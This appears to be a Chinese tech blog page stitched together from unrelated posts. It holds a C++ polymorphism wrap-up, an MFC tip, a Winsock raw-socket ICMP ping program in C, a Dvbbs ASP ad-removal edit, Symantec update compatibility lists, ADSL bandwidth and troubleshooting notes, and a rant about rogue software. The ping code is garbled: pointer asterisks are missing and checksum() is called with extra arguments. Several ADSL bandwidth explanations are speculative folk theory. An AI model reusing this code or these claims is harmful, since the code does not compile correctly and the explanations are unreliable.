水煮多态,暂且煮到这里。这里所谈及的仅仅是C++对于多态的表现形式,而并未对文中三种技术(重载、模板、虚函数)的具体内容进行过多的解说——毕竟稍微一深入就难免会对某些技术细节进行大篇幅追究,譬如说到重载难免就会说到参数的匹配,说到模板又难免与泛型进行挂钩,到了虚函数又不能不提一下VTable的东西……在这里我一概全免,因为我的目的也就是希望通过上面几个简单的例子让诸位看官能对OO本身的多态有一个感性的认识,感谢您们的阅读。

昨日写个小程序,加了几个CStatic,不知道为什么,只显示一个,搞了半天,最后为每个CStatic加一个ID才行,不知道有没有遇到同样的问题的朋友.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
// Module Name: Ping.c
//
// Code by Rise
//
// Command Line Options/Parameters:
// Ping [host] [packet-size]
//
// host String name of host to ping
// packet-size Integer size of packet to send (smaller than 1024 bytes)
//
//#pragma pack(1)

#define WIN32_LEAN_AND_MEAN
#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdio.h>
#include <stdlib.h>

#define IP_RECORD_ROUTE 0x7
//
// IP header structure
//
typedef struct _iphdr
{
unsigned int h_len:4; // Length of the header
unsigned int version:4; // Version of IP
unsigned char tos; // Type of service
unsigned short total_len; // Total length of the packet
unsigned short ident; // Unique identifier
unsigned short frag_and_flags; // Flags
unsigned short ttl; // Time to live
unsigned short proto; // Protocol (TCP, UDP, etc.)
unsigned short checksum; // IP checksum

unsigned int sourceIP;
unsigned int destIP;
}IpHeader;

#define ICMP_ECHO 8
#define ICMP_ECHOREPLY 0
#define ICMP_MIN 8 // Minimun 8-byte ICMP packet (header)

//
// ICMP header structure
//
typedef struct _icmphdr
{
BYTE i_type;
BYTE i_code; // Type sub code
USHORT i_cksum;
USHORT i_id;
USHORT i_seq;
// This is not the standard header, but we reserve space for time
ULONG timestamp;
}IcmpHeader;

//
// IP option header – use with socket option IP_OPTIONS
//
typedef struct _ipoptionhdr
{
unsigned char code; // Option type
unsigned char len; // Length of option hdr
unsigned char prt; // Offset into options
unsigned long addr[9]; // List of IP addrs
}IpOptionHeader;
#define DEF_PACKET_SIZE 32 // Default packet size
#define MAX_PACKET 1024 // Max ICMP packet size
#define MAX_IP_HDR_SIZE 60 // Max IP header size w/options

BOOL bRecordRoute;
int datasize;
char* lpdest;

//
// Function: usage
//
// Description:
// Print usage information
//
void usage(char* progname)
{
printf(“usage: ping -r <host> [data size]\n”);
printf(“ -r record route\n”);
printf(“ host remote machine to Ping\n”);
printf(“ datasize can be up to 1 KB\n”);
ExitProcess(-1);
}

//
// Function: FillICMPData
//
// Description:
// Helper function to fill in various fields for our ICMP request
//
void FillICMPData(char* icmp_data, int datasize)
{
IcmpHeader* icmp_hdr = NULL;
char* datapart = NULL;

icmp_hdr = (IcmpHeader*)icmp_data;
icmp_hdr->i_type = ICMP_ECHO; // Request an ICMP echo
icmp_hdr->i_code = 0;
icmp_hdr->i_id = (USHORT)GetCurrentProcessId();
icmp_hdr->i_cksum = 0;
icmp_hdr->i_seq = 0;

datapart = icmp_data + sizeof(IcmpHeader);
//
// Place some junk in the buffer
//
memset(datapart, ‘E’, datasize - sizeof(IcmpHeader));
}

//
// Function: checksum
//
// Description:
// This funcion calculates the 16-bit one’s complement sum
// of the supplied buffer (ICMP)header
//
USHORT checksum(USHORT* buffer, int size)
{
unsigned long cksum = 0 ;

while(size > 1)
{
cksum += buffer++;
size -= sizeof(USHORT);
}
if(size)
{
cksum += (UCHAR)buffer;
}
cksum = (cksum>>16)+(cksum&0xffff);
cksum += (cksum>>16);
return (USHORT)(~cksum);
}

//
// Function: DecodeIPOptions
//
// Description:
// If the IP option header is present. find the IP options
// within the IP header and print the record route option
// values
//
void DecodeIPOptions(charbuf,int bytes)
{
IpOptionHeader* ipopt = NULL;
IN_ADDR inaddr;
int i;
HOSTENT host = NULL;

ipopt = (IpOptionHeader)(buf + 20);

printf(“RR: ”);
for(i=0;i<(ipopt->prt/4)-1;i++)
{
inaddr.S_un.S_addr = ipopt->addr[i];
if(i != 0 )
printf(“ ”);
host = gethostbyaddr((char*)&inaddr.S_un.S_addr, sizeof(inaddr.S_un.S_addr), AF_INET);
if(host)
printf(“(%-15s) %s\n”, inet_ntoa(inaddr), host->h_name);
else
printf(“(%-15s)\n”, inet_ntoa(inaddr));
}
return;
}

//
// Function: DecodeICMPHeader
//
// Description:
// The response is an IP packet. We must decode the IP header to locate the ICMP data.
//
void DecodeICMPHeader(char* buf, int bytes, struct sockaddr_in from)
{
IpHeader iphdr = NULL;
IcmpHeader* icmphdr = NULL;
unsigned short iphdrlen;
DWORD tick;
static int icmpcount = 0;

iphdr = (IpHeader*)buf;
// Number of 32-bit words * 4 = bytes
iphdrlen = iphdr->h_len * 4;
tick = GetTickCount();

if((iphdrlen == MAX_IP_HDR_SIZE)&&(!icmpcount))
DecodeIPOptions(buf,bytes);
if(bytes < iphdrlen + ICMP_MIN)
{
printf(“Too Few bytes from %s\n”,inet_ntoa(from->sin_addr));
}
icmphdr = (IcmpHeader*)(buf + iphdrlen);

if(icmphdr->i_type != ICMP_ECHOREPLY)
{
printf(“nonecho type %d recvd\n”, icmphdr->i_type);
return;
}
// Make sure this is an ICMP reply to something we sent!
//
if(icmphdr->i_id != (USHORT)GetCurrentProcessId())
{
printf(“someone else’s packet!\n”);
return;
}
printf(“%d bytes from %s:”, bytes, inet_ntoa(from->sin_addr));
printf(“ icmp->seq = %d.”, icmphdr->i_seq);
printf(“ time: %d ms”, tick-icmphdr->timestamp);
printf(“\n”);

icmpcount++;
return;
}

void ValidateArgs(int argc, char argv)
{
int i;
bRecordRoute = FALSE;
lpdest = NULL;
datasize = DEF_PACKET_SIZE;

for(i = 1; i < argc; i++)
{
if((argv[i][0] == ‘-‘)||(argv[i][0] == ‘/‘))
{
switch(tolower(argv[i][1]))
{
case ‘r’: // Record route option
bRecordRoute = TRUE;
break;
default:
usage(argv[0]);
break;
}
}
else if(isdigit(argv[i][0]))
datasize = atoi(argv[i]);
else
lpdest = argv[i];
}
}

//
// Function: main
//
// Description
// Set up the ICMP raw socket, and create the ICMP header. Add
// the appropriate IP ooption header, and start sending ICMP
// echo requests to the endpoint. For each send and receive.
// we set a timeout value so that we don’t wait forever for a
// response in case the endpoint is not responding. When we
// receive a packet. decode it.
//
int main(int argc, char argv)
{
WSADATA wsaData;
SOCKET sockRaw = INVALID_SOCKET;
struct sockaddr_in dest, from;
int bread, fromlen = sizeof(from), timeout = 1000, ret;
char icmp_data = NULL, recvbuf = NULL;
unsigned int addr = 0;
USHORT seq_no = 0;
struct hostent hp = NULL;
IpOptionHeader ipopt;

if(WSAStartup(MAKEWORD(2, 2), &wsaData) != 0)
{
printf(“WSAStartup() failed: %d\n”, GetLastError());
return -1;
}
ValidateArgs(argc,argv);
sockRaw = WSASocket(AF_INET, SOCK_RAW, IPPROTO_ICMP, NULL, 0, WSA_FLAG_OVERLAPPED);
if(sockRaw == INVALID_SOCKET)
{
printf(“WSASocket() failed: %d\n”, WSAGetLastError());
return -1;
}
if(bRecordRoute)
{
// Setup the IP option header to go out on every ICMP packet
//
ZeroMemory(&ipopt, sizeof(ipopt));
ipopt.code = IP_RECORD_ROUTE; // Record route option
ipopt.prt = 4; // Point to the first addr offset
ipopt.len = 39; // Length of option header

ret = setsockopt(sockRaw, IPPROTO_IP, IP_OPTIONS, (char)&ipopt, sizeof(ipopt));
if(ret == SOCKET_ERROR)
{
printf(“setsockopt(IP_OPTIONs) failed: %d\n”,WSAGetLastError());
}
}
// Set the send/recv timeout values
//
bread = setsockopt(sockRaw, SOL_SOCKET, SO_RCVTIMEO, (char)&timeout, sizeof(timeout));
if(bread == SOCKET_ERROR)
{
printf(“setsockopt(SO_RCVTIME0)failed: %d\n”, WSAGetLastError());
return -1;
}
timeout = 1000;
bread = setsockopt(sockRaw, SOL_SOCKET, SO_SNDTIMEO, (char)&timeout, sizeof(timeout));
if(bread == SOCKET_ERROR)
{
printf(“setsockopt(SO_SNDTIME0) failed: %d\n”, WSAGetLastError());
return -1;
}
memset(&dest, 0, sizeof(dest));
//
// Resolve the endpoint`s name if necessary
//
dest.sin_family = AF_INET;
if((dest.sin_addr.s_addr = inet_addr(lpdest)) == INADDR_NONE)
{
if((hp = gethostbyname(lpdest)) != NULL)
{
memcpy(&(dest.sin_addr), hp->h_addr, hp->h_length);
dest.sin_family = hp->h_addrtype;
printf(“dest.sin_addr = %s\n”, inet_ntoa(dest.sin_addr));
}
else
{
printf(“gethostbyname() failed: %d\n”,WSAGetLastError());
return -1;
}
}

//
// Create the ICMP packet
//
datasize += sizeof(IcmpHeader);
icmp_data = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, MAX_PACKET);
recvbuf = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, MAX_PACKET);
if(!icmp_data)
{
printf(“HeapAlloc() failed: %d\n”,GetLastError());
return -1;
}
memset(icmp_data, 0, MAX_PACKET);
FillICMPData(icmp_data, datasize);
//
// Start sending/receiving ICMP packets
//
while(1)
{
static int nCount = 0;
int bwrote;

if(nCount++ ==4)
break;
((IcmpHeader*)icmp_data)->i_cksum = 0;
((IcmpHeader*)icmp_data)->timestamp = GetTickCount();
((IcmpHeader*)icmp_data)->i_seq = seq_no++;
((IcmpHeader*)icmp_data)->i_cksum = checksum((USHORT*)icmp_data, datasize, 0, (struct sockaddr*)&dest, sizeof(dest));

bwrote = sendto(sockRaw, icmp_data, datasize, 0, (struct sockaddr*)&dest, sizeof(dest));
if(bwrote == SOCKET_ERROR)
{
if(WSAGetLastError() == WSAETIMEDOUT)
{
printf(“timed out\n”);
continue;
}
printf(“recvfrom() failed: %d\n”, WSAGetLastError());
return -1;
}
if(bwrote < datasize)
{
printf(“Wrote %d bytes\n”, bwrote);
}
bread = recvfrom(sockRaw, recvbuf, MAX_PACKET, 0, (struct sockaddr*)&from, &fromlen);
if(bread == SOCKET_ERROR)
{
if(WSAGetLastError() == WSAETIMEDOUT)
{
printf(“timed out\n”);
continue;
}
printf(“recvfrom() failed: %d\n”, WSAGetLastError());
}
DecodeICMPHeader(recvbuf, bread, &from);

Sleep(1000);
}

//Cleanup
//
if(sockRaw != INVALID_SOCKET)
closesocket(sockRaw);
HeapFree(GetProcessHeap(), 0, recvbuf);
HeapFree(GetProcessHeap(), 0, icmp_data);

WSACleanup();
return 0;
}

打开/inc/Dv_ClsOther.asp
找到:
If IsSqlDataBase = 0 Then
  If not IsObject(Application(Dvbbs.CacheName & “_TextAdservices”)) Then
   Set XmlAds=Application(Dvbbs.CacheName & “_TextAdservices”).cloneNode(True)
  Else
    Set XmlAds=Server.CreateObject(“Msxml2.FreeThreadedDOMDocument” & MsxmlVersion )
    XmlAds.appendChild(XmlAds.createElement(“xml”))
    XmlAds.documentElement.appendChild(XmlAds.createNode(1,”text”,””)).text=”<iframe src=”””&Dvbbs_Server_Url&”dvbbs/DvDefaultTextAd.asp”” height=””23”” width=””100%”” marginwidth=””0”” marginheight=””0”” hspace=””0”” vspace=””0”” frameborder=””0”” scrolling=””no””></iframe>”
  End If
 Else
   Set XmlAds=Server.CreateObject(“Msxml2.FreeThreadedDOMDocument” & MsxmlVersion)
   XmlAds.appendChild(XmlAds.createElement(“xml”))
 End If
这段,把变成红色的这一行注释掉.
在清除服务器缓存,就行了.

i32 智能更新程序包不能用于更新 Symantec AntiVirus 企业版 8.0、9.0 或 10.0 服务器或 Norton AntiVirus 企业版 7.6 服务器,但是可用于更新企业版客户端。x86 智能更新程序包可用于更新企业版客户端和服务器。
i32更新包可用于以下版本:

    Norton AntiVirus 2002 Professional Edition
    Norton AntiVirus 2002 for Windows 98/Me/NT/2000/XP Home/XP Pro
    Norton AntiVirus 2003 Professional Edition
    Norton AntiVirus 2003 for Windows 98/Me/2000/XP Home/XP Pro
    Norton AntiVirus 2004 Professional Edition
    Norton AntiVirus 2004 for Windows 98/Me/2000/XP Home/XP Pro
    Norton AntiVirus 2005 for Windows 98/Me/2000/XP Home/XP Pro
    Norton AntiVirus 2006 for Windows 2000/XP Home/XP Pro
    Norton AntiVirus for Microsoft Exchange (Intel)
    Norton SystemWorks (all versions)
    Norton Utilities for Windows 95/98 (all versions)
    Symantec AntiVirus 3.0 for CacheFlow Security Gateway
    Symantec AntiVirus 3.0 for Inktomi Traffic Edge
    Symantec AntiVirus 3.0 for NetApp Filer/NetCache
    Symantec AntiVirus 3.1 for SMTP Gateways for Windows
    Symantec AntiVirus 8.0 Corporate Edition Client
    Symantec AntiVirus 8.1 Corporate Edition Client
    Symantec AntiVirus 9.0 Corporate Edition Client
    Symantec AntiVirus 10.0 Corporate Edition Client
    Symantec Mail Security for Domino v 4.0
    x86更新程序将更新以下列出的所有产品。这对于使用一个软件包来更新多个计算机和产品非常有用。
      Norton AntiVirus 2002 Professional Edition
      Norton AntiVirus 2002 for Windows 98/Me/NT/2000/XP Home/XP Pro
      Norton AntiVirus 2003 Professional Edition
      Norton AntiVirus 2003 for Windows 98/Me/2000/XP Home/XP Pro
      Norton AntiVirus 2004 Professional Edition
      Norton AntiVirus 2004 for Windows 98/Me/2000/XP Home/XP Pro
      Norton AntiVirus 2005 for Windows 98/Me/2000/XP Home/XP Pro
      Norton AntiVirus 2006 for Windows 2000/XP Home/XP Pro
      Norton AntiVirus for Microsoft Exchange (Intel)
      Symantec AntiVirus 3.0 CacheFlow Security Gateway
      Symantec AntiVirus 3.0 for Inktomi Traffic Edge
      Symantec AntiVirus 3.0 for NetApp Filer/NetCache
      Symantec AntiVirus 3.1 for SMTP Gateways for Windows
      Symantec AntiVirus 8.01 (Build 457 and above) Corporate Edition Client
      Symantec AntiVirus 8.01 (any Build prior to 457) Corporate Edition Client or Server
      Symantec AntiVirus 8.1 Corporate Edition Client
      Symantec AntiVirus 9.0 Corporate Edition Client
      Symantec AntiVirus 10.0 Corporate Edition Client
      Symantec AntiVirus for Bluecoat Security Gateway for Windows 2000 Server/2003 Server
      Symantec AntiVirus for Clearswift MIMESweeper for Windows 2000 Server/2003 Server
      Symantec AntiVirus for Microsoft ISA Server for Windows 2000 Server/2003 Server
      Symantec Mail Security for Domino v 4.0
      Symantec Mail Security for Microsoft Exchange Server 4.x
      Symantec Mail Security for Microsoft Exchange v 4.5
      Symantec Mail Security for SMTP v 4.x
      Symantec Web Security 3.0 for Windows
      Symantec AntiVirus Scan Engine for Windows

1,512K ADSL是什么意思?
512K=512Kbps=512K bits/s=64K bytes/s
我想这个换算应该没什么问题。

2,64K bytes/s意味着什么?

  这个64K的真正含义是“个人用户所能独享的最大下载带宽”
  那么这又是什么意思呢,不知道现在有没有人注意过电信ADSL安装的申请表,上面的带宽项目写的是都是“不高于512K”,“不高于8M”等等,也就是说我们在正常的情况下可以拥有最多不超过64K的专有带宽。
  注意是“不高于”,那么也就是说很多时候我们的专有带宽可能小于64K,那有又是为什么呢?
  事实上,中国电信的ADSL是运行在ATM上面,ATM到chinanet边缘路由器带宽是155M,每一个边缘路由器可以连接3000用户,如果这些用户同时上网,那么每个用户其实只有50k bit/s的带宽,也就是7K bytes/s,加上路由器衰减,那么最终可能只有普通modem的速度了。
  当然以上只是假想的情况,毕竟3000人同时连在一台边缘路由器上面几乎是不可能的,电信也不会让路由器满负荷连接而使得速度下降如此之巨。
  但是,64K是最高专有带宽是毋庸置疑的。

3,那为什么我的512K ADSL经常可以达到100K甚至200K以上的下载速度呢?

  我们搞清楚了64K是最大专有带宽,但不等于最大带宽,事实上在ADSL拨号时已经分配了实际约等于8Mbps,也就是1M bytes/s的下载带宽,只不过电信限制了我们的专有带宽最高64K,那么当路由器连接的用户较少的时候,我们可以获得一部分超过专有带宽的共享带宽(显然电信没必要让这些带宽闲置),当然512K速率的ADSL永远不可能通过占用共享带宽达到1M/s的下载速度,因为毕竟总还是有很多人在同时上网,而且电信肯定还有一些平衡负载的机制。

4,ADSL上传速度对下载的影响

  TCP/IP规定,每一個封包,都需要有acknowledge讯息的回传,也就是说,传输的资料,需要有一个收到资料的讯息回复,才能决定后面的传输速度,並决定是否重新传输遗失的资料。
  上行的带宽一部分就是用來传输這些acknowledge(确认)資料的,当上行负载过大的时候,就会影响acknowledge资料的传送速度,并进而影响到下载速度。这对非对称数字环路也就是ADSL这种上行带宽远小于下载带宽的连接来说影响尤为明显。
  有试验证明,当上传满载时,下载速度讲变为理想速度的40%,这就可以解释为什么为什么很多朋友用BT下载的时候稍微限速反而能够获得更大的下载速度。
  既然这样我们就不能要求所有的人都不限速,因为对于ADSL用户来说这是很不现实的,也是不科学的。适当的限速是正确的。

5,ADSL的速度随着连接时间的延长而逐渐降低。

  前面说过ADSL再拨号的时候会建立最高理论8Mbps的下载带宽,这个带宽是永远不会改变的!不过实际上由于ADSL的噪声检测机制如果线路情况不好那么一开始建立的连接显然不可能达到理论值,可能最后是5Mbps,这个带宽也是不会改变的。
  那为什么说ADSL的速度会越来越慢呢?
  这是因为即使用户不关闭调制解调器的电源,有时ADSL链接也会随时中断。比如,在通信状态因噪音增加而恶化,频繁发生错误的情况下。 链接中断后,马上就会重新进行调试,并重新确定链接。不过,如果此时致使链接中断的噪音仍然存在的话,(这一般是比较大的)重新链接后的速度就会比原来更低。由于调试中所确定的链接速度是也固定的,因此即便之后噪音消失以后,链接速度也不会提高。ADSL调制解调器使用时间越长,发生这种情况的可能性就越高,所以连接速度越来越慢。
  此时,如果用户重新起动调制解调器,链接就会重新确立,速度就可能由此得以提高。这一常识可用作链接速度降低后的处理对策.

  当然上面说的这些情况都只是根据ADSL连接本身来讨论的,实际的情况还包括互联网状况,网站本身的响应等等。
八种常见的ADSL断流现象

网页打不开、下载中断、或者在线视、音频流中断,这些情况都是很多使用ADSL上网的人会遇到的麻烦。可是当仔细检查ADSL MODEM的状态时,又会发现拨号登录已经成功。那么问题究竟出在哪里?ADSL用户该如何排查呢?
线路不稳定

  如果住所离电信局太远(5公里以上)可以向电信部门申报。确保线路连接正确(不同的话音分离器的连接方法有所不同,请务必按照说明书指引正确连接)。同时确保线路通讯质量良好没有被干扰,没有连接其它会造成线路干扰的设备,例如电话分机,传真机等。并检查接线盒和水晶头有没有接触不良以及是否与其它电线串绕在一起。有条件最好用标准电话线,如果是符ITU国际电信联盟标准的三类、五类或超五类双绞线更好。电话线入户后就分开走。一线走电话、一线走电脑。如果居住的房间都希望安装电话分机,最好选用质量好的分线盒。PC接ADSL Modem附带的双绞线。

  注意:手机一定不要放在ADSL Modem的旁边,因为每隔几分钟手机会自动查找网络,这时强大的电磁波干扰足以造成ADSL Modem断流。

网卡选购有学问

  检查您的网卡,如果是ISA网卡最好能换成PCI的,并且选择质量好的网卡,太便宜的网卡可能是造成问题的罪魁祸首。10M或10M/100M自适应网卡都可。另外,双网卡引起冲突同样值得关注,这时,应当拔起连接局域网或其它电脑的网卡,只用连接ADSL的网卡上网测试,如果故障恢复正常,检查两块网卡有没有冲突 。

ADSL Modem或者网卡设置有误

  最常见的是设置错了ADSL Modem的IP地址,或是错误设置了DNS服务器。因为对于ADSL虚拟拨号的用户来说,是不需要设定IP地址的,自动分配即可。TCP/IP网关一般也不需要设置。另外如果设定DNS一定要设置正确,如果操作系统是Windows 9x,在DOS窗口下键入Winipcfg获取DNS地址,在Windows 2000/XP下键入ipconfig /renew,或询问当地电信部门。

  另外,TCP/IP设置最容易引起不能浏览网页的情况,例如没有更改过设置,一直可以正常浏览,突然发现浏览不正常了,就可以试着删除TCP/IP协议后重新添加TCP/IP 协议。

ADSL Modem同步异常

  检查一下自己的电话线和ADSL连接的地方是否接触不良,或者是电话线出现了问题。如果怀疑分离器坏或ADSL Modem坏,尝试不使用分离器而直接将外线接入ADSL Modem。如果确定是分离器没有问题,要保证分离器与ADSL Modem的连线不应该过长,太长的话同步很困难。如果排除上述情况,只要重起ADSL Modem就可以解决同步问题。

操作系统有缺陷

  有的操作系统可能对ADSL的相关组件存在兼容性问题,以Windows 98为例,它的网络组件存在重大缺陷,连网时都会出现莫名其妙的断流问题。遇到这种情况最好的解决方法是给系统打补丁,你可以直接连接到微软的官方网站,选择系统搜索到的补丁下载。待补丁安装完成后,再安装虚拟拨号软件打补丁解决。

  主要补丁有:Windows 98 SE版的补丁、Windows 98 拨号网络1.3升级1.4补丁、Windows 95当时用WinPoET,RasPPPoE这类依靠操作系统的拨号网络工作的软件请首先安装“微软拨号网络1.3”方能正常工作、微软拨号网络 MSDUN1.4。

拨号软件互扰

  ADSL接入Internet的方式有虚拟拨号和专线接入两种,现在个人用户的ADSL大都是采用前者。而PPPOE(Point-to-Point Protocol over Ethernet以太网上的点对点协议)虚拟拨号软件都有各自的优缺点。经过多方在不同操作系统的测试,如果使用的操作系统是Windows XP,推荐用它自带PPPOE拨号软件,断流现象较少,稳定性也相对提高。如果使用的是Windows ME或9x,可以用以下几种虚拟拨号软件——EnterNet、WinPoET、RasPPPoE。其中,EnterNet是现在比较常用的一款,EnterNet 300适用于Windows 9x;EnterNet 500适用于Windows 2000/XP。当你用一个PPPOE拨号软件有问题时,不妨卸载这个软件后换用一个其它的PPPOE拨号软件,请务必注意不要同时装多个PPPOE软件,以免造成冲突。

其他软件冲突

  卸载有可能引起断流的软件,现在发现某些软件例如QQ 2000b等,偶然会造成上网断流,具体什么条件下会引发,尚要进一步测试。不少网友卸载后就发现断流问题解决了,包括用普通Modem 163拨号上网的用户也有用这种方法解决了断流问题的情况,笔者也收到朋友的邮件反映卸载QQ后断流问题解决,所以如果你有QQ,不妨先卸载你的OICQ,然后再上网试试。当你发现打开某些软件就有断流现象,关闭该软件就一切正常时,卸载该软件试试。

病毒攻击和防火墙软件设置不当

  虽然受到黑客和病毒的攻击可能性较小,但也不排除可能性。病毒如果破坏了ADSL相关组件也会有发生断流现象。建议安装“天网防火墙”或者“金山网镖”网络防火墙,它们都可以实时监控你的计算机和网络的通讯情况,并警告提示莫名的网络访问方式,有效降低受攻击的危险性。如果能确定受到病毒的破坏和攻击,还发生断流现象时就应该检查安装的防火墙、共享上网的代理服务器软件、上网加速软件等,停止运行这类软件后,再上网测试,看速度是否恢复正常。

ADSL虚拟拨号常见问题

Error 619 问题:与ISP服务器不能建立连接
原因:ADSL ISP服务器故障,ADSL电话线故障
解决:检查ADSL信号灯是否能正确同步。致电ISP询问

Error 621 Cannot open the phone book file
Error 622 Cannot load the phone book file
Error 623 Cannot find the phone book entry
Error 624 Cannot write the phone book file
Error 625 Invalid information found in the phone book
问题:Windows NT或者Windows 2000 Server网络RAS网络组件故障
原因:卸载所有PPPoE软件,重新安装RAS网络组件和RasPPPoE

Error 630
问题:ADSL MODEM没有没有响应
原因:ADSL电话线故障,ADSL MODEM故障(电源没打开等)
解决:检查ADSL设备

Error 638
问题:过了很长时间,无法连接到ISP的ADSL接入服务器
原因:ISP服务器故障;在RasPPPoE所创建的不好连接中你错误的输入了一个电话号码
解决:运行其创建拨号的Raspppoe.exe检查是否能列出ISP服务,以确定ISP正常;把所使用的拨号连接中的 电话号码清除或者只保留一个0。

Error 645
问题:网卡没有正确响应
原因:网卡故障,或者网卡驱动程序故障
解决:检查网卡,重新安装网卡驱动程序

Error 650
问题:远程计算机没有响应,断开连接
原因:ADSL ISP服务器故障,网卡故障,非正常关机造成网络协议出错
解决:检查ADSL信号灯是否能正确同步,致电ISP询问;检查网卡,删除所有网络组件重新安装网络。

Error 651
问题:ADSL MODEM报告发生错误
原因:Windows处于安全模式下,或其他错误
解决:出现该错误时,进行重拨,就可以报告出新的具体错误代码

Error 691
问题:输入的用户名和密码不对,无法建立连接
原因:用户名和密码错误,ISP服务器故障
解决:使用正确的用户名和密码,并且使用正确的ISP账号格式(name@service),致电ISP询问。

Error 718
问题:验证用户名时远程计算机超时没有响应,断开连接
原因:ADSL ISP服务器故障
解决:致电ISP询问

Error 720
问题:拨号网络无法协调网络中服务器的协议设置
原因:ADSL ISP服务器故障,非正常关机造成网络协议出错
解决:致电ISP询问,删除所有网络组件重新安装网络。

Error 734
问题:PPP连接控制协议中止
原因:ADSL ISP服务器故障,非正常关机造成网络协议出错
解决:致电ISP询问,删除所有网络组件重新安装网络。

Error 738
问题:服务器不能分配IP地址
原因:ADSL ISP服务器故障,ADSL用户太多超过ISP所能提供的IP地址
解决:致电ISP询问

Error 797
问题:ADSL MODEM连接设备没有找到
原因:ADSL MODEM电源没有打开,网卡和ADSL MODEM的连接线出现问题,软件安装以后相应的协议没有正确邦定,在创立拨号连接时,建立了错误的空连接
解决:检查电源,连接线;检查网络属性,RasPPPoE相关的协议是否正确的安装并正确邦定(相关协议),检查网卡是否出现?号或!号,把它设置为Enable;检查拨号连接的属性,是否连接的设备使用了一个“ISDN channel-Adapter Name(xx)” 的设备,该设备为一个空设备,如果使用了取消它,并选择正确的PPPoE设备代替它
ADSL宽带使用过程中常见的一些问题

ADSL(Asymmetrical Digital Subscriber Loop非对称数字用户线环路)是xDSL家族成员中的一员,被欧美等发达国家誉为“现代信息高速公路上的快车”。它因其下行速率高、频带宽、性能优等特点而深受广大用户的喜爱,成为继MODEM、ISDN之后的又一种全新更快捷、更高效的接入方式,也是目前国内使用最多的接入方式。

ADSL使用中的异常故障

  在宽带网络的使用过程中,经常会遇到一些棘手的问题,导致不能正常上网,影响工作、学习以及娱乐。下面就ADSL宽带使用过程中常见的一些问题,提供一些参考的解决方法。

  1.使用USB接口的ADSL MODEM时候,拨号无法接通的问题。

  现象和原因分析:一般来说,出现这种情况是由于USB MODEM是通过USB接口供电,刚启动时间比较短,网络设备没有被激活或者线路没有被激活的原因,即ADSL MODEM没有被激活而导致线路不通。

  解决办法:出现了类似问题,我们可以耐心地等待30秒至几分钟,再尝试连接,有时候一开机就可以连上,而有的时候要激活几分钟或者重新启动才可能连上;如果线路一直不能激活的话,则可能网络连线出现了问题,请及时电话咨询当地电信局,这种情况相对发生较少。

  2.一直使用良好的ADSL MODEM,突然无法上网的问题。

  现象和原因分析:出现这样的问题,可能的原因很多,如果排除硬件损坏和线路损坏的话(这个情况出现的机率很小),主要可能有如下原因:第一,网络设备过热而出现工作不稳定的情况;第二,IP调整过程中的自动断线;第三,电信局网络系统崩溃,这种情况出现的机率也很小,不过笔者就遇到过两次。

  解决办法:如果是网络设备过热出现工作不稳定的情况,一般来说这样的情况设备马上可以自动连接上;由于ADSL MODEM的发热量还是比较大,手摸上去就很烫,为了设备稳定地工作,还是将其放置在通风比较好的地方。由于ADSL的IP地址是动态分配的,因此刚好有时候其IP要调整,就会出现突然掉线的情况,这种情况一般不需要在意,几秒钟之后就可以自动连接上,如果连不上,按一下RESET IO键关闭,然后再启动,就可以连接上了。如果以上都不能解决问题,可以电话咨询你的ISP,确定一下是否是网络中心出现了问题。

  3.网速很慢的问题

  一般来说,1MB的ADSL宽带的速度对于我们日常的使用(高清晰的视频点播除外)或者几个人的使用来说,应该足够了,但是有时候打开网页都很慢。

  现象和原因分析:第一可能是个别WEB服务器繁忙,如果打开其他的网页不慢的话,则网络应该没有问题,是由于个别WEB服务器比较忙而导致的网速很慢。其次,可能是拨号软件和操作系统之间的兼容性问题。再次,还有可能就是线路质量或者是距离问题,因为ADSL使用的是电话线,如果距离过长就会出现信号衰减而导致网速减慢。

  解决办法:个别WEB服务器繁忙则不是我们能够解决的,建议您稍后再试几次。在使用拨号软件方面,如果您使用Windows XP操作系统,则系统自带拨号工具,不需要另外的拨号软件,如果使用其他系统,则建议您使用RASPPPOE拨号软件。如果是线路质量或者距离原因的,请您和相关电信局(为您上门安装、调试ADSL的区局,安装时留有联系方式)联系。

   前两天,网上传出《网络行业协会点名十大流氓软件》的消息,其中包括cnnic的中文上网插件,还有3721的上网助手、地址栏搜索及网络实名插件,说实在话,我以前很反感3721的上网助手,因为去年我中过一次这个“3721病毒”,差点没让我重装系统,不过这次我觉得把3721再评进去,实在有点冤,不过话说回来,3721也不是什么好鸟,呵呵。

   至于cnnic,确实是无耻到极点,且不说整天打着个中国互联网信息中心的招牌,到处招摇撞骗,整天为它的.cn域名做广告,整天找一堆枪手四处散发文章,今天说这个什么.cn域名卖了100万美圆,那个什么卖了20万,这个玉米虫,那个玉米农的。简直就是恶心!

